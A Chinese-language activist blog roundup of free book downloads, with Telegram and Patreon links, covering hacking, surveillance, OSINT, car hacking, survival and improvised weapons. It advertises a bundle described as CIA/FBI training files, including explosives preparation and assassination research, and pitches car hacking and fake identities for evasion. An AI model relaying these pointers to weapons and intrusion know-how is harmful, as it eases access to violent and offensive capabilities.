因此，计算机安全专家需要成为与犯罪对手一样熟练和精通黑客的艺术。在获得这些知识的过程中，“道德黑客”要承诺不将他们的技能用于非法或不道德的目的。

本书旨在介绍计算机黑客的语言、场景、工具和程序。 作为一本初学者的指南，它假定读者除了在媒体上或随意交谈中接触过相关内容外，对计算机黑客的知识本身并不了解。 于是，详细的说明和具体的黑客操作步骤不在本书的范围之内，留给读者在对材料比较熟悉的情况下，再进一步深入研究。

如果您是入门者，它会非常适合您。

下面我们上传这本书。

您可以在这里下载这本书：https://t.me/iyouport/7324

下载：https://www.patreon.com/posts/38216579

16、《CRISIS AND LEVIATHAN—Critical Episodes in the Growth of American Government》

「图」

危机和利维坦——

「图」

冠状病毒造成的最严重后果之一是反乌托邦的全球盛行。

争取人权的运动从来都是举步维艰的，然而一场灾难，就能将几十年

的努力付之一炬。这非常可怕。

任何灾难都是如此，而不仅仅是病毒—— **911**之后的疯狂世界如今的人们无不熟悉；斯诺登文件中所体现的只是一斑。

☞ Robert Higgs 在80年代就警告过这件事，关于：灾难会让政府变得更大，他用“棘轮效应”一词来描述这一现象。

⚠ 在这种情况下反抗将变得更具难度—— 危机的压力下大众将倾向于寻求强大势力的“保护”，会倾向于认为所谓的 “健康码” 等监视措施是 “在保护我们的安全”；虽然并没有任何证据能显示这种侵犯人权的行为对于防疫究竟能有任何积极效用。

简单说，人权捍卫者的支持度将明显下降。政府的欺骗和恐吓将占据上风。还记得吗，《恐惧诉求》在劝导术中占据很高的地位。

这不是某个国家的问题，而是全球性的，就如病毒本身一样，无国界；从手机跟踪到空中无人机监视、从事无巨细的健康记录到GPS脚腕手环 …… 这些监视国家的手段正在一切病毒途经的地区成为常态。

这本书所提醒的状况在这几十年内已经不断重演，冠状病毒疫情只是最新一集。

但这一集并没有结束，最终的结局将取决于我们现在如何对待这个问题。

☞ “棘轮效应” 是一个警告，而非定论。最终的结论如何将取决于现在有多少人能理解到这个问题。

我们将在未来的文章中引用这本书，现在上传它。

您可以在这里下载：https://t.me/iyouport/7345

下载：https://www.patreon.com/posts/38320578

反抗开始了 —— 上图是来自荷兰的请愿书，目前已经35万人签署。

这封请愿书的主题是 “保护公民免受不公正和滥用权力的侵害。抵制当权者以冠状病毒防疫为借口颁布的紧急法令限制公民的隐私权和自由。”

这是抵抗当权者借助病毒危机加固权力以剥夺公民自由的第一份重大反抗，在这里看到。

想知道政府间谍和军队是如何“平暴”(镇压)的吗？- 一系列内部资料

「图」

这是一套打包资料 —— 来自**CIA**和**FBI**的内部培训

其内容包括：

CIA爆炸物制备现场简易方法；

各种破坏性战斗的操作方法；

各种撬锁的方法；

暗杀研究；

情报工具的思考方式和演示；

犯罪现场调查（法医）；

特工现场行动技巧；

如何维稳？

如何驱散群众集会？

防爆武器的使用方法；

如何部署维稳部队？

监视和监听；

如何应对化学生物污染；

如何对付汽车炸弹；

作战中的侦查技巧 – 如何合作、如何清理现场、如何对付弹药、如何清理化学残留等等；

威胁情报；

如何评估和分析监视摄像头的录像；

如何下套（设置陷阱）如何使用陷阱；

战术无线电的使用方法；

低强度冲突中的操作 – 也是一整套维稳战术；

爱尔兰共和军游击者手册 – 战术、装备、策略、敏感点等等；

数字取证 – 从扣押的计算机中获取电子证据的方法……

等等，更多内容。

所谓的“平暴”也就是维稳/镇压群体抗议的资料就有好几份，包括技术、战术、策划、武器、定点清除等等。

这个打包文件比较大，一共66份文件资料；总计244.52MB，由于它大过200MB，patreon无法一次性处理；于是我们拆分为5部分上传，P1 ~ P5，您可以在这里下载：https://www.patreon.com/posts/38457296

您仍然可以在telegram一次性下载：https://t.me/iyouport/7349

17、《Reclaiming Conversation: The Power of Talk in a Digital Age》

「图」

我们说的太多，但是没有交流——

「图」

我们一直在说话。互联网时代的人们说的话远多于此前的任何时代，因为这个媒介给了每个人一个随时都可以吐露心声的渠道。

它沉迷了每个人，人们越来越愿意透过屏幕联系彼此、宁可阅读电子邮件也不想见面或打电话。

这种新的媒介让人们陷入了困境。

然而，面对面的对话是基本人性，是社会和民主政治能否正常运转的基础。彼此充分呈现，彼此倾听。

👌 只有这样才能培养人的同理心，才能享受被理解的乐趣。对话促进自我反思，与自己的对话是早期人格发展的基石，并贯穿一生。而如今，即使我们彼此之间不断保持联系，我们的真心也在彼此躲藏。因为在屏幕上，人们只会想要展示自己想要的样子。

IYP未来将继续梳理这个话题，关于：数字技术对民主的破坏性。这是一种全方面的破坏，而不仅仅在于算法暴政、数字极权主义、数字殖民主义、部落化回音壁和社会极化—这些曾经广泛分析过的问题。

再一次，对话是民主政治的基础。而在上述情况下，这一切都构成了对对话的逃避，至少是那些开放性和自发性的对话，是我们在玩创意的对话，在这种对话中我们可以充分展现自己，并学会协商。

只有在这些对话中，同理心和亲密关系才能蓬勃发展，社会行动才能获得力量。

但是这些对话需要时间和空间，需要科学的思考方式和分析能力，需要公民的责任感。

✍开始对话，而不是自言自语，是一种疗愈，是直接行动的一部分。

数字媒介并不完全是坏事，它是一个自我挖掘的空间，它促进你审视自己，并梳理平日容易错过的情感细节；当你酝酿得足够丰富时，开启对话吧，由于内心丰富的素材，您将获得更高效的体验。

与我们之前曾经不断介绍过的对话技巧不同—— 此前我们以社交工程操作为目标，即 狡猾的诱导性的和操纵式的—— 这本书的主题应该是民主生活的关键部分，也是行动者促进联盟协作的基础。

未来我们将继续发布相关的建议技巧指南—— 那些可能没有包含在这本书中的内容；现在先上传这本书，希望它在基础方面有所帮助。

在这里下载这本书：https://t.me/iyouport/7354

下载：https://www.patreon.com/posts/38320764

18、《Survive Like a Spy: Real CIA Operatives Reveal How They Stay Safe in a Dangerous World and How

You Can Too》

「图」

像间谍一样生存——

「图」

不论是内乱爆发、犯罪横行、警察暴力、帮派纷争、还是绑架和侵害，您必须具备足够的经过检验的整套生存技巧以傍身，才有希望渡过危难。

您需要一套在紧急和危难的致命压力下也不至于崩溃的防身能力。

这本书中介绍的内容也许会有所帮助。

👌 它会从专业级的侦查开始，到准备工作，到应对危机，再到缓解后果。每一章都有一些详细的技能，比如，

- 如何诱导他人以获得你需要的信息，
- 如果你被绑架了如何为救援人员留下线索以营救你，
- 如何从入室行凶、大范围停电、甚至经济崩溃中幸存下来 ……
- 如何伪装以让自己“消失”，
- 等等。

其中部分知识我们曾经介绍过，比如 “完美隐身” 系列，和尚未完成的 “变得难以被追踪” 系列，此外的其他内容比如生存技巧，未来将有专门的中文系列文章介绍它们。

上述内容归类在 列表-1 中，单独板块：

https://start.me/p/xbYXdR/iyp-1

现在您可以先获得这本书。

在这里下载这本书：https://t.me/iyouport/7357

下载：https://www.patreon.com/posts/38321015

19、《The Coronavirus Cybersecurity Survival Guide Top Tips to Protect You From A Cyber Attack》

「图」

冠状病毒网络安全生存指南——

「图」

COVID-19 已经在全世界范围内引起了人们的关注。

而骇客和各种恶意行为者正在利用这一危机，从脆弱的公民和公共基础设施系统中获利。

通过转向远程工作和在家工作的商业模式，公司无意中为网络威胁行为者创造了更广泛的攻击面。

医院和其他机构的IT部门都在保持警惕，因为在最基本的层面上，恶意软件和黑客工具已经变得更加容易获得，甚至让没有编码背景的人也能理解和使用。

简单说，您的对手是非常广泛的。

冠状病毒诈骗案一直在呈上升趋势。这其中包括许多网络安全专家之前见过的相同的骗局。它们可能看起来很新，但实际上使用的诱骗方法是一样的。主要区别在于它们是以疫情为主题。

这包括了一系列广泛的攻击策划，如网络钓鱼、勒索软件、和虚假广告等。每个人都需要想办法保持安全。

由于这场风暴，你已经成为了目标。你有很多有价值的信息，骇客们都在寻找的东西。保护好它，保护好自己，并想办法加强你的安全性。

这本书将给出几十种保护网络和设备的方法。涵盖电子邮件、密码和软件安全等多种主题。可能看起来过于笼统，但所有这些技巧都是防御骗局/漏洞/攻击的绝招。

事实上，无论是针对 COVID-19 还是其他任何紧急情况，这些建议都能强化良好的安全实践和习惯。

您可以选择实施这些建议中的任何一个，或者至少了解这些建议背后的道理。这些建议侧重于实用性和简单性—— 您现在就可以做的事。

这是一个一般性的指南，旨在抓住您所需要的本质。如果有必要，请进一步研究。责任在你的肩上。

如果您更喜欢中文内容，欢迎参考我们的列表-1 中的 “技术防身” 板块：基本内容都有：

https://start.me/p/xbYXdR/iyp-1

而这本书是专家建议—— 您可以直接采纳而无需重新思考发布者是否可信。

您可以在这里下载这本书：https://t.me/iyouport/7362

下载：https://www.patreon.com/posts/38321069

20、《Hiding from the Internet: Eliminating Personal Online Information》

「图」

大隐隐于互联网——

「图」

如何在互联网上让自己“消失”？

这是一项如今许多人都梦寐以求的技能，因为，监视、追踪、迫害、诈骗 …… 几乎每天都在令大批的互联网用户陷入危机。

☞隐身是最佳防御。并且，隐身也是最佳的进攻武器—— 我在暗，谁在明。

IYP专注于防身和进攻两个方面，其中防身是基础；如果您的行动不能具备足够的匿名性，它将没有可持续能力。

这就是为什么我们不断重复反追踪、反侦查、反情报技巧——

- 列表-1 中有 “技术防身” 板块、以及 “反侦察” 板块，大众和行动者都适用；

https://start.me/p/xbYXdR/iyp-1

- 列表-5 中有 “护盾” 板块，专门提供给行动者，这是基于目前已经掌握的当权者最经常使用的间谍方式做出的防御计划；

https://start.me/p/1kod2L/iyp-direct-action5

- 还有两个独立的板块：“变得难以被追踪的简单方法”、以及 “完美隐身” 系列，都在列表-1 中：

https://start.me/p/xbYXdR/iyp-1

- ；后者已经完成，前者正在继续发布。这两个板块适用于任何人，不论您是否参与行动。

在 「开源情报」 中我们演示了太多的方法关于如何追踪一个人、一个组织、一个特定网络的内幕，这些追踪可以达到非常深入的程度，也许会令人们产生悲观和虚无，“互联网是有多可怕啊，也许我永远都无法做到保护自己了”。但这绝不是我们的目的。

没错，这个集中化的互联网为监视资本主义而来，它本身就是追踪者的天堂；而我们不能等到身边人甚至自己入狱，才有时间开始坐下来思考这究竟是为什么，那就为时已晚了。

我学习中文的时候并没有从简体字开始学习，而是象形字，我的老师说，只有当你知道这个字是怎么来的时候，才能避免写错字。这个方法真的很管用，它甚至适合满足您学习任何东西的欲求：先了解它是怎么来的。

经常有一些读者在四处询问：“这个人推荐的方法可信吗？我能按照他说的去做吗？” …… 对于这个问题您可能很难得到满意的答案，原因有多种，至少每一种答案都是主观的—这是在判断信息源的公信力，而非技术本身。

但是，如果您能知道危险会来自哪里、坏人都是怎么做的，您就无需再提出这个问题，因为您自己就可以分析哪些人的建议值得采纳。

这就是开源情报为防御而存在的目的。

隐身的第一步就是：让自己的真实身影消失。也就是我们介绍的 《大清洗》，即：您应该尽可能让自己曾经留在互联网上的个人真实身份信息消失，至少变得不那么起眼—— 融合在一大堆虚假的同类信息中，让追踪者辨不出真伪—— 对您的传言越离谱，您就越安全。

在这样做之前，您需要花点时间来了解目前存在的个人信息的类型。每个人都会有不同类型的可见内容。每一种情况都需要一个独特的删除策略。比如，一个拥有多个社交媒体账户的人，会比一个完全没有社交媒体账户的人能被追踪者挖到更多的细节。

接下来就是创建一个或多个能让大多数追踪者都绕进死胡同的虚假身份。只要您能做到保持住避免这些虚假身份与您的真实身份之间产生*任何*联系，基本上您就能持续隐身。

在这种状态下开始工作吧。如果您不慎做错了，曝光了其中一个虚构身份，那就迅速杀死他，换一个角色重新再来。它们—这些虚构角色—能帮您不断重生，这是一个“九条命”游戏。

- 《分身术完整指南：妥善管理您的在线身份并获得安全的方法》
- 《如何快速创建一个假人？简易版分身术—调查人员使用》
- 《如何做到完美隐身：技术增值部分—最简单的分身方法（4）》
- 《角色扮演》

今天即将上传的这本书来自 Michael Bazzell，FBI网络犯罪调查科的老员工，从业20多年，他也是流行剧集《Mr. Robot》的黑客技术指导。这本书中他所讲述的隐身方法就体现了上述这些思路，他介绍了具体的操作，包括您可以在哪儿以及如何找到自己的敏感信息等等。

这本书整体上并不高深（诚实地说即便这些方法完全做到您可能也躲不开FBI那种间谍机构，因为他们拥有全球顶级的情报预算），但是，您的确能就此逃离绝大多数追踪监视的伤害。

反追踪反侦查的基本原理就是这样：拖垮你的对手，☞这里最值钱的东西是时间，只要你能拖延足够长的时间让对手不知所措，耗尽他们的财力人力，您就赢了。

安全帽戴一层如果不够那就戴两层，两个分身如果不足以让您安心，那就加倍 …… 总之基本思路就是如此。操作安全永远是第一位的！人是最大的弱点，而非技术。

现在我们上传这本书，希望它能有所帮助。

您可以在这里下载这本书：https://t.me/iyouport/7365

下载：https://www.patreon.com/posts/38321136

数字排毒 ——

「图」

Data Detox x Youth 是一本简易的行为手册，旨在帮助年轻人掌控技术生活。鼓励年轻人通过简单的反思和娱乐活动来思考数字生活的各个方面，从社交媒体个人资料到密码。

该手册分为4部分：

- 数字隐私 —— 其重点是减少数据足迹和理解在线暴露；
- 数字安全 —— 基本的安全提示，每个人都应该做到的那部分；
- 数字健康 —— 避免智能手机成瘾问题，为民主保留社区的活力；
- 摆脱虚假信息 —— 关于如何在线使用信息和分享信息的基础知识。

该手册是为已经拥有自己的电子设备的11 ~ 16岁年轻人设计的，但是各个年龄段的人都可以使用它 —— 尤其是是对技术世界不够了解的人群。您只需要一部智能手机或平板电脑，一台打印机以及一些可用于书写的东西。

您可以为自己的孩子或家中老人介绍这些知识，也可以在您所在的社区内普及这些知识。

在这里下载：https://www.patreon.com/posts/38732671

—— 对IYP为什么关注美国抗议运动的简要说明 ——

「图」

我们读到了一些来自中国的反馈，比如 “你不应该如此关心美国”、再比如 “你到底是支持还是反对黑人的抗议行动？”

我们不会就运动本身 “你支持还是反对” 来进行讨论；我们也没有如此关心美国。不论是香港的抗议运动、法国的黄背心，还是美国的BLM运动，IYP都会基于反抗原理、技术技巧、和镇压手段的角度进行分析，包括渗透和识别渗透的方法（未来还有专门的系列文章讲述当局对活动家组织的渗透和抹黑手段）。我们也有单独的分类来汇总这些知识，见 列表-5 直接行动。

提供分析来获得学习的机会，这就是我们的基本目标。

如果这些运动都不能在中国社会促进行动力，也没有关系，至少我们应该努力保证它们带来的经验和教训被中文界所了解；更基本的需要保证，不能被简单的支持或反对的意见分裂中国的活动家团体。否则，它将比浪费时间更糟糕。

想象一下，正如 mapping police violence 组织长年跟进的调查所揭示的那样（如上图所示），如果警察杀死如此多手无寸铁的公民的暴力事件发生在中国，几乎每个人都会有明确的正确的评论和反对立场，无需质疑。我们认为，这已经足够了。

警察国家及其由来，这就是整场运动的中心议题。

聚焦种族歧视问题并非错误，但是，这样做明显会令这场波及全球的抗议运动浪潮更加远离中国本土，变成了“别人家的事”。我们认为目前为止俄罗斯的反抗者是最明智的，他们从一开始就回避了种族问题，专注于警察国家的暴力，以便将运动浪潮的感染力拉入本土。

这是很专业的动员，也正是中国所缺乏的—— 中国有很多著名的活动家和知识分子，他们的影响力完全可以形成不可忽视的动员力量；仅仅缺乏一个明确的秉持的目标，以将注意力从彼此谴责的角度上拉向共同追求的方向。

社交媒体媒介的确形成了某种障碍，它会不断促进人们彼此间的批评和争执（而非讨论），它为吵架带来了更大的吸睛度“奖赏”；从而更加难以联合。然而这正是对活动家的经验和专业性的挑战，而有经验的活动家完全可以做到绕避这种诱惑。

始终希望我们提供的内容能对中国的活动家和民间的积极人士有所帮助。

就是这样！祝您拥有不止一个美妙的阅读体验:) 我们下次见！

——本系列持续更新中——

原文

IYP优秀书籍汇总2020（7～8□版）-完全免费下载 - iyouport

免费书和纪录片

【2020年8月28日存档】本系列内容每2个月更新一次

【按】由于考虑到并非所有读者都能找到匿名手机号以注册 telegram，我们更新了所有书籍下载汇总的文章。

我们将这些书籍复制到了 patreon，于是现在您可以看到两个下载链接，其中橙色的链接指向IYP的 telegram 频道；红色的下载链接指向 patreon。

并且所有内容均设置为免费公开。

patreon 允许您在不登录/无需注册的情况下下载附件。

但是 patreon 有一个小缺点，它无法处理大于200MB的附件，所以小部分内容，比如Hakin9的教材，由于过大而无法上传。但大部分书籍都是可以直接在 patreon 下载的。

希望这样做能为您带来方便。

书籍汇总在 列表-5 中 “书和纪录片” 板块。

Hi，朋友！这里是2020的第4次汇总，5～6月版，您可以在下面回顾过往内容：

- 《IYP优秀书籍年度汇总2019—在线下载免费阅读》64份
- 《IYP 优秀书籍汇总2020（1～2月版）—完全免费下载》47份
- 《IYP优秀书籍汇总2020（3～4□版）—完全免费下载》14份
- 《IYP优秀书籍汇总2020（5～6□版）—完全免费下载》20份

来看看本期是否有您感兴趣的内容？

1、《101 Spy Gadgets for the Evil Genius》

「图」

邪恶天才101个间谍小工具——

「图」

如果您喜欢动手玩一些东西，这本书肯定会讨您喜欢。

它教您利用便宜且易于获得的组件，可以构建成您喜欢的电影特工使用的相同的小玩意—— ☞用于信息收集、秘密侦查的设备。

这些项目范围从简单到复杂，并随附有所需零件和工具的清单，大量的插图，以及逐步的组装说明。非常容易读懂。

项目包括：扫描仪和收音机，夜视设备，电话设备，计算机监控，音频监听，隐藏的监视相机，视频发送器 ……等等。

- 如何 hacking 微型录音机；
- 如何搞定间谍立体仿生耳；
- 如何滤除背景杂音；
- 如何黑入数码相机；
- 如何隐藏间谍监视器；
- …… 非常丰富

您完全可以自己试试看。

在这里下载这本书：https://t.me/iyouport/7394

下载：https://www.patreon.com/posts/38952655

2、《The Seventh Sense: The Secrets of Remote Viewing as Told by a “Psychic Spy” for the U.S. Military》

「图」

心理间谍的技艺——

「图」

远窥是什么东西？

人有五种主要感官，视觉、听觉、味觉、嗅觉和触觉。用这五种感官捕捉到的信息都不是“远窥”，在此之外的才是。

这是什么巫术吗？不是的 …… 它被称为心理间谍，是曾经美军对军方情报人员的培训课程之一。

在过去的三十年中，美国政府秘密地训练了一批军事人员进行“远窥”的技艺，即 感知他人思想和经验的心理能力。

现在，世界知名的远窥专家 Lyn Buchanan 第一次讲述了他经历的完整故事。他在这行做了17年。

Buchanan 被分配给一个秘密的陆军情报小组，他的工作是训练军事人员，让他们在伊朗人质危机、切尔诺贝利灾难、和海湾战争期间，利用其固有的心理能力作为数据收集工具。

在这个令人难以置信的叙述中，Buchanan 讲述了他是如何凭借其独特的心理能力而入选的，以及这一经历如何将他从一名普通士兵转变成了美国领先的心理间谍之一。

利用“心理间谍”服务于政府和军队的绝密项目，使布坎南内心产生了永久性的改变。现在，经过多年的分析和解读，他揭示了训练远窥者的技术和心理练习，并展示了我们每个人身上都携带着的一种休眠的心理能力—— 我们可以自己去探索和利用。

请注意这并不是什么玄学，它就是人类的真实心理，对心理能力的利用。

如果您的主要兴趣是自我完善和自我提升，那就太好了。附录中的练习题可以照顾到这个愿望。

是的，您可能也具备这种能力，只是您没有发现它。也许这本书能给您一些提示 ……

在这里下载这本书：https://t.me/iyouport/7397

下载：https://www.patreon.com/posts/38983324

3、《Disposable people: New slavery in the global economyDisposable people: New slavery in the global economy》

「图」

用后即弃的人——

「图」

你对我来说已经没用了，所以你可以滚了。

中文里有一个词组叫“用人朝前”，大概是说那种利用他人之后便残酷丢弃的做法。这是一种危险的、必须被抵制的关系。

它是一种新型的奴隶制。

不幸的是，如今我们绝大多数人都处在这种关系之下。

新奴隶制模仿了世界经济的发展，后者由所有权和固定资产管理转向了资源或流程的管控和使用。换句话说，它像是从19世纪对殖民地的所有权转向今日的经济剥削，而无须承担管理这些殖民地国家的成本和麻烦。

今天的跨国企业效仿了19世纪欧洲帝国的所作所为—— 掠夺自然资源，利用低廉的劳动力—— 并无须接管和治理整个国家。

与之类似，新奴隶制占用了个体的经济价值，同时将他们牢牢控制在手中，却不需要宣称所有权或是为他们的生存负责。

其结果是更大的经济效率—— 无用且无利润可得的老幼病残像垃圾一样被丢弃。季节性的任务由季节性的奴役完成，就像海地的砍甘蔗工那样。

在新奴隶制中，奴隶是可消费的商品，当需要时被加入生产环节，但已不再意味着多高的经济成本。

社会边缘、无家可归、难民或弃民都会导向贫穷，而后者开启了朝向奴隶制的大门，也使得奴隶商人可以轻而易举设下诱人的圈套。当奴隶被绑架时，他们缺乏有效的能力去保护自我免于被暴力奴役。

☞ 新奴隶制就像一个新的疾病，并且没有疫苗存在。如果我们不能够真正理解它，不能真正知道是什么导致它运行，那我们就几乎不可能阻止它。

Kevin Bales 对这个问题有着深刻的分析，他解释说，新的奴隶并不是长期的投资，不是像旧的奴隶制那样。相反，他们很便宜，只需要很少的照顾并且是一次性的—— 用后即弃。也因此，它可能具备更可怕的生命力。

这本书提供了诸多生动的案例研究展示了精心绘制的历史、地理和文化背景下的调查，它是消除奴隶制反抗的有效指导。本书中所有作者的稿费都用于资助世界各地的反奴隶制项目。

希望这本书能为中国的劳工运动提供一些帮助。

您可以在这里下载这本书：https://t.me/iyouport/7416

下载：https://www.patreon.com/posts/39199047

~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~

▸ 一些比较新的黑客资源：https://pathonproject.com/zb/?3872b6d5795d14d8#mFnHB9tJ7S3uSyHjPH0zL/KttLL7nIjoNc9nJz7qEFA＝

▸ 消息传递应用程序安全性比较：securemessagingapps.com

包括：

- Allo
- iMessage
- Messenger
- Riot
- Signal
- Skype
- Telegram
- Threema
- Viber
- Whatsapp
- Wickr
- Wire

4、《Cities Under Siege: The New Military Urbanism》

「图」

政治暴力如何在城市生活空间中运作——

「图」

您可能再也躲不过那些他妈的 “智能” 了—— 智能冰箱、智能牙刷、智能锁、智能一切。

但是，将所谓的 “智能 “应用于整个城市，这究竟意味着什么？

不，错了。所谓的 “智能城市” 根本就不是一个切实存在的东西。许多支持智能城市想象的承诺和原型实际上都是虚构的。它们往往只是作为营销手段而存在。

仔细研究一下与 “智能城市” 相关的一系列技术和政策，就会发现，它有一个完全不同的目标。

⚠ 这些技术把城市当作一个战斗空间，将最初只为军事目的而建立的信息情报系统重新部署在城市治安上。

传感器、摄像头和其他网络化的监控系统通过准军事化的手段收集情报，为另一套能够部署资源的系统提供反馈。

☞ 在这个日益城市化的世界里，城市就是新战场。

从全球南部的贫民窟到西方富裕的金融中心，政治暴力正在蔓延。这本书通过全世界迅速扩张的大都市区的场所、空间、基础设施和标志追溯政治暴力的踪迹。

Stephen Graham 借鉴了大量原始研究成果，⚠展示了军队和维稳部队现在如何将所有城市地形视为潜伏敌方的冲突地区—— 城市中的所有居民已成为需要被不断跟踪、扫描和控制的目标。

他考察了军队向 *高科技城市镇压部队* 的转变。

他着眼于城市军事化的和国家边境的监视，利用所谓的 “安全” 借口来压制异议的行为如何成为常态，以及那些颁布的中止民法的立法。

与那些“不智能”的东西相反，⚠ 这些所谓的智能系统并不是为一般人所使用的，而是强加在人身上的。

这种城市战争机器才是“智能”城市主义的真正本质。它是高科技军事化社会的下一步。它产生的不是智能城市，而是被俘虏的城市。

警察军事化（在**ACLU报告**中有详细说明）是将战术和战争武器带回家，并传入我们的城市、并且其使用范围没有明显限制的代名词。

Stephen Graham 警告说，“最终，随着军事思维方式的泛滥，世界上将没有任何东西能摆脱成为这种永久性最新意识形态调动的全部象征性或实际暴力的目标，无限的战争。”

这本书中的警告来自9年前，如今看来却极为深刻—— 它提醒，我们目前的隐私人权斗争是不够的，虽然在某种程度上似乎暂时有效，但是还远远不够，因为我们尚未清楚地认识到敌人是谁：☞敌人不仅仅是那些监视器和传感器。

不久后我们将不止一次讲述这个问题，关于，为什么延续今天的反抗模式是很难真正获得成功的，以及该怎么办。这本书也将被引用。

您可以先在这里下载这本书：https://t.me/iyouport/7420

下载：https://www.patreon.com/posts/39232805

5、《The Car Hacker’s Handbook: A Guide for the Penetration Tester》

「图」

针对汽车的黑客，入侵以操纵——

「图」

汽车黑客是黑客学科的最前沿。

对汽车的黑客入侵可能会对社会产生巨大影响。想象一下，在网络战中，反对派指挥官雇用黑客操纵敌方坦克、吉普车和其他车辆；或者更平凡一些，想象一下一个黑客可以打开、启动和控制您的车子 ……

现代汽车比以往任何时候都更加计算机化。但是，车辆技术未能跟上

当今更加敌对的安全环境的步伐，使数百万人很容易受到攻击。

《汽车黑客手册》这本书将使您对现代汽车中的计算机系统和嵌入式软件有更深入的了解；它首先检查漏洞并提供对CAN总线以及设备与系统之间的通信的详细说明。

👆 然后，您将学习到如何拦截数据并执行特定的技巧来跟踪车辆、解锁车门、控制汽车等等黑客技巧。

这本书重点介绍了低成本的开源黑客工具，例如 Metasploit，Wireshark，Kayak，can-utils 和 ChipWhisperer，将向您展示：

- 如何为您的车辆建立准确的威胁模型
- 如何对CAN总线进行逆向工程以伪造发动机信号
- 如何利用诊断和数据记录系统中的漏洞
- 如何破解ECU和其他固件以及嵌入式系统
- 如何建立物理和虚拟测试平台以安全地尝试利用漏洞
- 以及更多技巧

如果您对操纵一辆汽车—— 包括坦克—— 感兴趣，也许可以试试这本书中介绍的知识。未来我们将引用它在文章中。

您可以在这里下载这本书：https://t.me/iyouport/7440

下载：https://www.patreon.com/posts/zhen-dui-qi-che-39412269

6、这里是三份资料，不是一份，封面只放其中一个《NATO Open Source Intelligence Handbook》这是开篇

「图」

从高端入手——

「图」

我们已经发布过两份关键演示，关于 **政治旋转门的调查**；一份是挖掘 Facebook，一份是挖掘谷歌。

这两份调查看起来都很精彩，但是，它们也强调了一个问题，关于：当公民组织开始挖掘政治权力关系时你就会发现，越是接近权力关系

的顶层，调查难度就越大，因为你正在瞄准的是那些最擅长伪装和掩饰的家伙。

情报必须能指导行动（信息只满足于理解），没有科学的情报产品就不会有有效的行动。这在任何领域都是如此，从军界到商界，从当局的维稳调遣，到公民的反抗行动。

开源情报（OSINT）是为了解决一个特定问题而特意去发现、区分、提炼和传播给特定受众的「非机密情报」。

它为其他情报学科提供了一个非常坚实的基础。

如果可以以系统的方式应用，OSINT产品可以减少对机密情报收集资源的需求，因为它将只限于对公开资料来源无法回答的问题提出信息要求。

这套资料是开源情报在军事联盟中的用例—— 北约。

☞它在概述中就特别指出：情报部门决不应试图限制公开信息源的获取。相反，情报部门应促进所有需要获得相关可靠信息的工作人员利用开放信息源。情报人员应集中精力，将行之有效的情报程序应用于对开源信息的利用，以改进其所有来源的情报产品。

为什么要选取这份资料？

因为军事用例是情报学最关键的部分，它承载着最大的压力，一旦失误，其代价就可能是数不清的人命。

👌 于是，情报学最精湛的表现和最高端的资产，基本都被军界所吸纳；换句话说，如果您能从军事用例中学习情报分析，那么，反抗行动的策划、追踪披露权势的谎言，对您来说就是小菜一碟了。

开源情报是北约未来愿景的重要组成部分。通过专注于开放信息源，OSINT提供了开发有效且可靠的情报产品的方法，这些情报产品可以与国际行动的非北约组织共享。

它写道：OSINT提供战略性的历史和文化见解；提供有关基础设施和当前状况的有助于操作的信息；提供在战术上至关重要的商业地理空间信息，而这些信息是国家能力无法提供的。在联合作战中，OSINT既是军民合作的基础，也是双边情报共享框架。

就算您对情报分析无感，如果您对NATO感兴趣，或者说对国际关系

学感兴趣，这套资料也能给您很好的帮助。

1、《NATO Open Source Intelligence Handbook》

2、《NATO Open Source Intelligence Reader》

3、《Intelligence Exploitation of The Internet》

您可以在这里下载这套资料：

1、https://t.me/iyouport/7443

2、https://t.me/iyouport/7444

3、https://t.me/iyouport/7445

下载：https://www.patreon.com/posts/cong-gao-duan-ru-39443209

▸ 这里是 **DEF CON CTF** 挑战的实时可播放存档。

DEFCON CTF 是一项年度计算机安全竞赛，吸引了全球最优秀的黑客，他们要在48小时内解决各种复杂的挑战。涉及的领域包括 软件安全、计算机架构、无线电窃听、硬件修改、以及其他容易受到攻击的信息领域。

您可以使用这里的资源来试试自己的能力：https://archive.ooo

2020年由于冠状病毒疫情，DEF CON宣布取消线下会议，改为线上竞技。

DEF CON线上会议将推出一个全新的“神秘挑战赛”，远程CTF（例如“黑掉一颗卫星”）、Village（如 Packet Hacking Village）、竞赛（如 TeleChallenge、Ham Exams）等活动都将在线上举行。

7、《U.S. Army Ranger Handbook》

「图」

美国陆军游骑兵手册，新版——

「图」

美国陆军游骑兵（United States Army Rangers），相当于其他国家所说的突击兵或特攻兵，经过特殊训练的轻装步兵，是美国陆军中的精英成员。只要通过游骑兵学校的训练，就会获授游骑兵臂章、承认拥有游骑兵资格。

所以，现在您知道这本手册讲的是什么了。是的，实战技能。

这本手册提供了使美国陆军游骑兵成为世界上最好的士兵的技术和策略。

这些训练有素、易于部署、且技能广泛的士兵擅长于空中攻击、突袭、人员和设备的恢复、抢夺和占领、以及其他艰巨而危险的任务。

☞现在，在《美国陆军游骑兵手册》的最新修订版中，您可以获得所有方面的最新信息。

该指南汲取了特种作战两个多世纪的丰富经验，为现代士兵提供了可能的最佳培训。

这本手册具有简单易懂的、简洁的语言，它涵盖：

- 欺骗
- 隐身
- 保密通信
- 逃避和追踪
- 伏击行动
- 外围防御
- 反情报
- …… 等等，几乎所有您感兴趣的东西。

基本可以说是终极资源。

您可以在这里下载这本书：https://t.me/iyouport/7467

下载：https://www.patreon.com/posts/mei-guo-lu-jun-39669788

8、《Prepper’s Underground Guide to Improvised Weapons! How to Protect Yourself Without a Firearm Using Everyday Items!》

「图」

当您没有枪的时候，如果使用身边的工具 **作为武器** 以保护自己——

「图」

不管你信不信，很多人都在犯一个致命的错误，那就是，他们忽略了应急准备工作中的一个严重的部分。

你可能羡慕那些储备大量枪支和弹药的人，但是，如果你受到攻击而无法拿到枪支，你会怎么做呢？如果您携带枪支被禁止乘坐飞机、不能上地铁、被任何带有安检门的地方推出来 …… 您怎么办？

☞ 不论您想要在任何情况下保持安全，都需要考虑，如何在没有枪支的情况下自卫。

这一部分的准备工作往往被忽略了，极为不应该。这是为自卫领域，在严格意义上说，是指在动手和传统枪械之间的自卫领域。

欢迎来到简易武器的世界 ~ ~ ~ 通常不被用作武器的物品，但在正确的手中，就完全可以是致命的。

如果你有足够的勇气，你会发现如何在没有传统枪支的情况下保护自己或家人—— 就使用你现在手头的日常用品，或者只需提前计划一下，就可以随身携带的东西。最重要的是，☞ 这些物品绝对是可以在任何地方携带的合法物品，您不会被安检门拒绝，但是它们可以立即作为武器使用。

以下是 “Prepper’s Underground Guide to Improvised Weapons “ 中的一些提示、技能和技巧：

